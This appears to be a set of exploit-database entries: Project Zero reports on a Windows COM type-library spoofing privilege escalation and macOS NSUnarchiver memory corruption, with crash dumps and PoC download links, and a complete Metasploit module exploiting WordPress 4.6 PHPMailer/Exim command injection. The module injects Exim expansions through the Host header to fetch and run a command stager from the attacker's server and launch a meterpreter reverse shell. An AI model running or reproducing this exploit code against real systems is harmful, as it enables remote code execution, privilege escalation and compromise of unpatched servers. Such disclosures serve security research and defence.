Platform: Windows 10 10586/14393 not tested 8.1 Update 2 or Windows 7
Class: Elevation of Privilege

Summary:
By setting an appropriate AppID it’s possible for a normal user process to set a global ROT entry. This can be abused to elevate privileges.

Description:

NOTE: I’m not sure which part of this chain to really report. As far as I can tell it’s pretty much all by design and fixing the initial vector seems difficult. Perhaps this is only a bug which can be fixed to prevent sandbox escapes?

When registering an object in the ROT the default is to only expose that registration to the same user identity on the same desktop/window station. This includes preventing the same user at different ILs (such as between sandbox and normal user) from seeing the same registration. However it could be imagined that you might want to register an entry for all users/contexts so IRunningObjectTable::Register takes a grfFlags parameter with the value  ROTFLAGS_ALLOWANYCLIENT which allows the ROT entry to be exposed to all users. 

The description of this flag indicates it can only be used if the COM process is a Local Service or a RunAs application. In fact there’s an explicit ROTFlags value for the AppID which would grant the privilege to a normal application. Quick testing proves this to be correct, a “normal” application cannot expose the ROT entry to any client as RPCSS does a check that the calling process is allowed to expose the entry. However there are two clear problems with the check. Creating a RunAs COM object in the current session would typically run at the same privilege level as the caller, therefore an application which wanted to abuse this feature could inject code into that process. Secondly while it’s not possible to register a per-user COM object which specifies a RunAs AppID it’s possible to explicitly set the AppID when calling CoInitializeSecurity (either via the GUID or by naming your program to match one which maps to the correct AppID).

Therefore in the current implementation effectively any process, including sandboxed ones should be able to register a global ROT entry. What can we do with this? The ROT is mainly used for OLE duties, for example Word and Visual Studio register entries for each document/project open. It would be nice not to rely on this, so instead I’ll abuse another OLE component, which we’ve seen before, the fact that LoadTypeLib will fall back to a moniker if it can’t find the type library file specified.

If the file loading fails then LoadTypeLib will effectively call MkParseDisplayName on the passed in string. One of the things MPDN does is try and create a file moniker with the string passed in as an argument. File Monikers have an interesting feature, the COM libraries will check if there’s a registered ROT entry for this file moniker already present, if it is instead of creating a new object it will call IRunningObjectTable::GetObject instead when binding. So as we can register a ROT entry for any user in any context we can provide our own implementation of ITypeLib running inside our process, by registering it against the path to the type library any other process which tries to open that library would instead get our spoofed one, assuming we can force the file open to fail.

This is the next key part, looking at the LoadTypeLib implementation the code calls FindTypeLib if this function fails the code will fall back to the moniker route. There’s two opportunities here, firstly CreateFile is called on the path, we could cause this to fail by opening the file with no sharing mode, in theory it should fail. However in practice it doesn’t most type libraries are in system location, if you don’t have the possibility of write permission on the file the OS automatically applies FILE_SHARE_READ which makes it impossible to lock the file in its entirety. Also some TLBs are stored inside a DLL which is then used so this route is out. Instead the other route is more promising, VerifyIsExeOrTlb is called once the file is open to check the type of file to parse. This function tries to load the first 64 bytes and checks for magic signatures. We can cause the read to fail by using the LockFile API to put an exclusive lock on that part of the file. This also has the advantage that it doesn’t affect file mappings so will also work with loaded DLLs. 

We now can cause any user of a type library to get redirected to our “fake” one without abusing impersonation/symbolic link tricks. How can we use this to our advantage? The final trick is to abuse again the auto-generation of Stubs/Proxies from automation compatible interfaces. If we can get a more privileged process to use our type library when creating a COM stub we can cause a number of memory safety issues such as type confusion, arbitrary memory read/writes and extending the vtable to call arbitrary functions. This is an extremely powerful primitive, as long as you can find a more privileged process which uses a dual automation interface. For example the FlashBroker which is installed on every Win8+ machine is intentionally allowed to be created by sandboxed IE/Edge and uses dual interfaces with auto-generated Stubs. We could abuse for example the BrokerPrefSetExceptionDialogSize and BrokerPrefGetExceptionDialogSize to do arbitrary memory writes. This all works because the stub creation has no was of ensuring that the actual server implementation matches the generated stub (at least without full symbols) so it will blindly marshal pointers or call outside of the object's vtable.

Proof of Concept:

I’ve provided a PoC as a C# project. You need to compile it first. It fakes out the Windows Search Service’s type library to modify the IGatherManagerAdmin2::GetBackoffReason method so that instead of marshaling a pointer to an integer for returning the caller can specify an arbitrary pointer value. When the method on the server side completes it will try and write a value to this address which will cause a Write AV. The Windows Search service would be ideal for abuse but many of the functions seem to require Administrator access to call. That’s not to say you couldn’t convert this into a full working exploit but I didn’t.

1) Compile the C# project. It should be compiled as a 64 bit executable.
2) Restart the Windows Search service just to ensure it hasn’t cached the stub previously. This probably isn’t necessary but just to be certain.
3) Attach a debugger to SearchIndexer.exe to catch the crash.
4) Execute the PoC as a normal user (do not run under the VSHOST as the CoInitializeSecurity call will fail). You need to pass the path to the provided mssitlb.tlb file which has been modified appropriately.
5) The service should crash trying to write a value to address 0x12345678

Crash Dump:

0:234> r
rax=0000015ee04665a0 rbx=0000015ee0466658 rcx=0000015ee0466658
rdx=0000000000000000 rsi=0000000000000004 rdi=0000000000000000
rip=00007fff80e3a75d rsp=00000036541fdae0 rbp=00000036541fdb20
 r8=00000036541fd868  r9=0000015ee3bb50b0 r10=0000000000000000
r11=0000000000000246 r12=0000015ee3c02988 r13=00000036541fe1c0
r14=0000000012345678 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
MSSRCH!CGatheringManager::GetBackoffReason+0x8d:
00007fff`80e3a75d 418936          mov     dword ptr [r14],esi ds:00000000`12345678=????????
0:234> k
 # Child-SP          RetAddr           Call Site
00 00000036`541fdae0 00007fff`b416d533 MSSRCH!CGatheringManager::GetBackoffReason+0x8d
01 00000036`541fdb10 00007fff`b413b0d0 RPCRT4!Invoke+0x73
02 00000036`541fdb60 00007fff`b2fa479a RPCRT4!NdrStubCall2+0x430
03 00000036`541fe180 00007fff`b3853c93 combase!CStdStubBuffer_Invoke+0x9a [d:\th\com\combase\ndr\ndrole\stub.cxx @ 1446]
04 00000036`541fe1c0 00007fff`b305ccf2 OLEAUT32!CUnivStubWrapper::Invoke+0x53
05 (Inline Function) --------`-------- combase!InvokeStubWithExceptionPolicyAndTracing::__l7::<lambda_b8ffcec6d47a5635f374132234a8dd15>::operator()+0x42 [d:\th\com\combase\dcomrem\channelb.cxx @ 1805]
06 00000036`541fe210 00007fff`b3001885 combase!ObjectMethodExceptionHandlingAction<<lambda_b8ffcec6d47a5635f374132234a8dd15> >+0x72 [d:\th\com\combase\dcomrem\excepn.hxx @ 91]
07 (Inline Function) --------`-------- combase!InvokeStubWithExceptionPolicyAndTracing+0x9e [d:\th\com\combase\dcomrem\channelb.cxx @ 1808]
08 00000036`541fe280 00007fff`b3006194 combase!DefaultStubInvoke+0x275 [d:\th\com\combase\dcomrem\channelb.cxx @ 1880]
09 (Inline Function) --------`-------- combase!SyncStubCall::Invoke+0x1b [d:\th\com\combase\dcomrem\channelb.cxx @ 1934]
0a (Inline Function) --------`-------- combase!SyncServerCall::StubInvoke+0x1b [d:\th\com\combase\dcomrem\servercall.hpp @ 736]
0b (Inline Function) --------`-------- combase!StubInvoke+0x297 [d:\th\com\combase\dcomrem\channelb.cxx @ 2154]
0c 00000036`541fe4a0 00007fff`b3008b47 combase!ServerCall::ContextInvoke+0x464 [d:\th\com\combase\dcomrem\ctxchnl.cxx @ 1568]
0d (Inline Function) --------`-------- combase!CServerChannel::ContextInvoke+0x83 [d:\th\com\combase\dcomrem\ctxchnl.cxx @ 1458]
0e (Inline Function) --------`-------- combase!DefaultInvokeInApartment+0x9e [d:\th\com\combase\dcomrem\callctrl.cxx @ 3438]
0f 00000036`541fe770 00007fff`b3007ccd combase!AppInvoke+0x8a7 [d:\th\com\combase\dcomrem\channelb.cxx @ 1618]
10 00000036`541fe8a0 00007fff`b300b654 combase!ComInvokeWithLockAndIPID+0xb2d [d:\th\com\combase\dcomrem\channelb.cxx @ 2686]
11 00000036`541feb30 00007fff`b40fd433 combase!ThreadInvoke+0x1724 [d:\th\com\combase\dcomrem\channelb.cxx @ 6954]
12 00000036`541fedc0 00007fff`b40fbed8 RPCRT4!DispatchToStubInCNoAvrf+0x33
13 00000036`541fee10 00007fff`b40fcf04 RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x288
14 00000036`541fef10 00007fff`b40f922d RPCRT4!RPC_INTERFACE::DispatchToStubWithObject+0x404
15 00000036`541fefb0 00007fff`b40f9da9 RPCRT4!LRPC_SCALL::DispatchRequest+0x35d
16 00000036`541ff090 00007fff`b40f64dc RPCRT4!LRPC_SCALL::HandleRequest+0x829
17 00000036`541ff180 00007fff`b40f48c9 RPCRT4!LRPC_SASSOCIATION::HandleRequest+0x45c
18 00000036`541ff200 00007fff`b411eaca RPCRT4!LRPC_ADDRESS::ProcessIO+0xb29
19 00000036`541ff350 00007fff`b422e490 RPCRT4!LrpcIoComplete+0x10a
1a 00000036`541ff3f0 00007fff`b422bc66 ntdll!TppAlpcpExecuteCallback+0x360
1b 00000036`541ff4a0 00007fff`b34b8102 ntdll!TppWorkerThread+0x916
1c 00000036`541ff8b0 00007fff`b425c5b4 KERNEL32!BaseThreadInitThunk+0x22
1d 00000036`541ff8e0 00000000`00000000 ntdll!RtlUserThreadStart+0x34

Expected Result:
Not doing what ever it did.

Observed Result:
It did it!


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42021.zip
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = AverageRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'                => 'WordPress PHPMailer Host Header Command Injection',
      'Description'         => %q{
        This module exploits a command injection vulnerability in WordPress
        version 4.6 with Exim as an MTA via a spoofed Host header to PHPMailer,
        a mail-sending library that is bundled with WordPress.

        A valid WordPress username is required to exploit the vulnerability.
        Additionally, due to the altered Host header, exploitation is limited to
        the default virtual host, assuming the header isn't mangled in transit.

        If the target is running Apache 2.2.32 or 2.4.24 and later, the server
        may have HttpProtocolOptions set to Strict, preventing a Host header
        containing parens from passing through, making exploitation unlikely.
      },
      'Author'              => [
        'Dawid Golunski', # Vulnerability discovery
        'wvu'             # Metasploit module
      ],
      'References'          => [
        ['CVE', '2016-10033'],
        ['URL', 'https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html'],
        ['URL', 'http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html'],
        ['URL', 'https://httpd.apache.org/docs/2.4/mod/core.html#httpprotocoloptions']
      ],
      'DisclosureDate'      => 'May 3 2017',
      'License'             => MSF_LICENSE,
      'Platform'            => 'linux',
      'Arch'                => [ARCH_X86, ARCH_X64],
      'Privileged'          => false,
      'Targets'             => [
        ['WordPress 4.6 / Exim', {}]
      ],
      'DefaultTarget'       => 0,
      'DefaultOptions'      => {
        'PAYLOAD'           => 'linux/x64/meterpreter_reverse_https',
        'CMDSTAGER::FLAVOR' => 'wget'
      },
      'CmdStagerFlavor'     => ['wget', 'curl']
    ))

    register_options([
      OptString.new('USERNAME', [true, 'WordPress username', 'admin'])
    ])

    register_advanced_options([
      OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
    ])

    deregister_options('VHOST', 'URIPATH')
  end

  def check
    if (version = wordpress_version)
      version = Gem::Version.new(version)
    else
      return CheckCode::Safe
    end

    vprint_status("WordPress #{version} installed at #{full_uri}")

    if version <= Gem::Version.new('4.6')
      CheckCode::Appears
    else
      CheckCode::Detected
    end
  end

  def exploit
    if check == CheckCode::Safe
      print_error("Is WordPress installed at #{full_uri} ?")
      return
    end

    # Since everything goes through strtolower(), we need lowercase
    print_status("Generating #{cmdstager_flavor} command stager")
    @cmdstager = generate_cmdstager(
      'Path'   => "/#{Rex::Text.rand_text_alpha_lower(8)}",
      :temp    => datastore['WritableDir'],
      :file    => File.basename(cmdstager_path),
      :nospace => true
    ).join(';')

    print_status("Generating and sending Exim prestager")
    generate_prestager.each do |command|
      vprint_status("Sending #{command}")
      send_request_payload(command)
    end
  end

  #
  # Exploit methods
  #

  # Absolute paths are required for prestager commands due to execve(2)
  def generate_prestager
    prestager = []

    # This is basically sh -c `wget` implemented using Exim string expansions
    # Badchars we can't encode away: \ for \n (newline) and : outside strings
    prestager << '/bin/sh -c ${run{/bin/echo}{${extract{-1}{$value}' \
      "{${readsocket{inet:#{srvhost_addr}:#{srvport}}" \
      "{get #{get_resource} http/1.0$value$value}}}}}}"

    # CmdStager should rm the file, but it blocks on the payload, so we do it
    prestager << "/bin/rm -f #{cmdstager_path}"
  end

  def send_request_payload(command)
    res = send_request_cgi(
      'method'        => 'POST',
      'uri'           => wordpress_url_login,
      'headers'       => {
        'Host'        => generate_exim_payload(command)
      },
      'vars_get'      => {
        'action'      => 'lostpassword'
      },
      'vars_post'     => {
        'user_login'  => datastore['USERNAME'],
        'redirect_to' => '',
        'wp-submit'   => 'Get New Password'
      }
    )

    if res && !res.redirect?
      if res.code == 200 && res.body.include?('login_error')
        fail_with(Failure::NoAccess, 'WordPress username may be incorrect')
      elsif res.code == 400 && res.headers['Server'] =~ /^Apache/
        fail_with(Failure::NotVulnerable, 'HttpProtocolOptions may be Strict')
      else
        fail_with(Failure::UnexpectedReply, "Server returned code #{res.code}")
      end
    end

    res
  end

  def generate_exim_payload(command)
    exim_payload  = Rex::Text.rand_text_alpha(8)
    exim_payload << "(#{Rex::Text.rand_text_alpha(8)} "
    exim_payload << "-be ${run{#{encode_exim_payload(command)}}}"
    exim_payload << " #{Rex::Text.rand_text_alpha(8)})"
  end

  # We can encode away the following badchars using string expansions
  def encode_exim_payload(command)
    command.gsub(/[\/ :]/,
      '/' => '${substr{0}{1}{$spool_directory}}',
      ' ' => '${substr{10}{1}{$tod_log}}',
      ':' => '${substr{13}{1}{$tod_log}}'
    )
  end

  #
  # Utility methods
  #

  def cmdstager_flavor
    datastore['CMDSTAGER::FLAVOR']
  end

  def cmdstager_path
    @cmdstager_path ||=
      "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"
  end

  #
  # Override methods
  #

  # Return CmdStager on first request, payload on second
  def on_request_uri(cli, request)
    if @cmdstager
      print_good("Sending #{@cmdstager}")
      send_response(cli, @cmdstager)
      @cmdstager = nil
    else
      print_good("Sending payload #{datastore['PAYLOAD']}")
      super
    end
  end

end
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1170

Via NSUnarchiver we can read NSBuiltinCharacterSet with a controlled serialized state.
It reads a controlled int using decodeValueOfObjCType:"i" then either passes it to
CFCharacterSetGetPredefined or uses it directly to manipulate __NSBuiltinSetTable.
Neither path has any bounds checking and the index is used to maniupulate c arrays of pointers.

Attached python script will generate a serialized NSBuiltinCharacterSet with a value of 42
for the character set identifier.

tested on MacOS 10.12.3 (16D32)


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42050.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1168

The dump today has this list of iOS stuff:
https://wikileaks.org/ciav7p1/cms/page_13205587.html

Reading through this sounded interesting:

"""
Buffer Overflow caused by deserialization parsing error in Foundation library 

Sending a crafted NSArchiver object to any process that calls NSArchive unarchive method will result in
a buffer overflow, allowing for ROP.
"""

So I've spent all day going through initWithCoder: implementations looking for heap corruption :)

The unarchiving of NSCharacterSet will call NSCharacterSetCFCharacterSetCreateWithBitmapRepresentation

If we pass a large bitmap we can get to the following call multiple times:

    while (length > 1) {
      annexSet = (CFMutableCharacterSetRef)__CFCSetGetAnnexPlaneCharacterSet(cset, *(bytes++));

Here's that function (from the quite old CF code, but the disassm still matches)

CF_INLINE CFCharacterSetRef __CFCSetGetAnnexPlaneCharacterSet(CFCharacterSetRef cset, int plane) {
    __CFCSetAllocateAnnexForPlane(cset, plane);
    if (!__CFCSetAnnexBitmapGetPlane(cset->_annex->_validEntriesBitmap, plane)) {
        cset->_annex->_nonBMPPlanes[plane - 1] = (CFCharacterSetRef)CFCharacterSetCreateMutable(CFGetAllocator(cset));
        __CFCSetAnnexBitmapSetPlane(cset->_annex->_validEntriesBitmap, plane);
    }
    return cset->_annex->_nonBMPPlanes[plane - 1];
}

note the interesting [plane - 1], however if we just call this with plane = 0 first
 __CFCSetAllocateAnnexForPlane will set the _nonBMPPlanes to NULL rather than allocating it

but if we supply a large enough bitmap such that we can call __CFCSetGetAnnexPlaneCharacterSet twice,
passing 1 the first time and 0 the second time then we can reach:

  cset->_annex->_nonBMPPlanes[plane - 1] = (CFCharacterSetRef)CFCharacterSetCreateMutable(CFGetAllocator(cset));

with plane = 0 leading to writing a pointer to semi-controlled data one qword below the heap allocation _nonBMPPlanes.

This PoC is just a crasher but it looks pretty exploitable.

The wikileaks dump implies that this kind of bug can be exploited both via IPC and as a persistence mechanism where apps
serialize objects to disk. If I come up with a better PoC for one of those avenues I'll attach it later.

(note that the actual PoC object is in the other file (longer_patched.bin)

tested on MacOS 10.12.3 (16D32)

################################################################################

A few notes on the relevance of these bugs:

NSXPC uses the "secure" version of NSKeyedArchiver where the expected types have to be declared upfront by a message receiver. This restricts the NSXPC attack surface for these issues to either places where overly broad base classes are accepted (like NSObject) or to just those services which accept classes with vulnerable deserializers.

There are also other services which use NSKeyedArchives in the "insecure" mode (where the receiver doesn't supply a class whitelist.) Some regular (not NSXPC) xpc services use these. In those cases you could use these bugs to escape sandboxes/escalate privileges.

Lots of apps serialize application state to NSKeyedArchives and don't use secure coding providing an avenue for memory-corruption based persistence on iOS.

Futhermore there seem to be a bunch of serialized archives on the iPhone which you can touch via the services exposed by lockdownd (over the USB cable) providing an avenue for "local" exploitation (jumping from a user's desktop/laptop to the phone.) The host computer would need to have a valid pairing record to do this without prompts.

For example the following files are inside the AFC jail:

egrep -Rn NSKeyedArchiver *
Binary file Downloads/downloads.28.sqlitedb matches
Binary file Downloads/downloads.28.sqlitedb-wal matches
Binary file PhotoData/AlbumsMetadata/0F31509F-271A-45BA-9E1F-C6F7BC4A537F.foldermetadata matches
Binary file PhotoData/FacesMetadata/NVP_HIDDENFACES.hiddenfacemetadata matches

00006890 | 24 76 65 72 73 69 6F 6E 58 24 6F 62 6A 65 63 74 | $versionX$object
000068A0 | 73 59 24 61 72 63 68 69 76 65 72 54 24 74 6F 70 | sY$archiverT$top


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42049.zip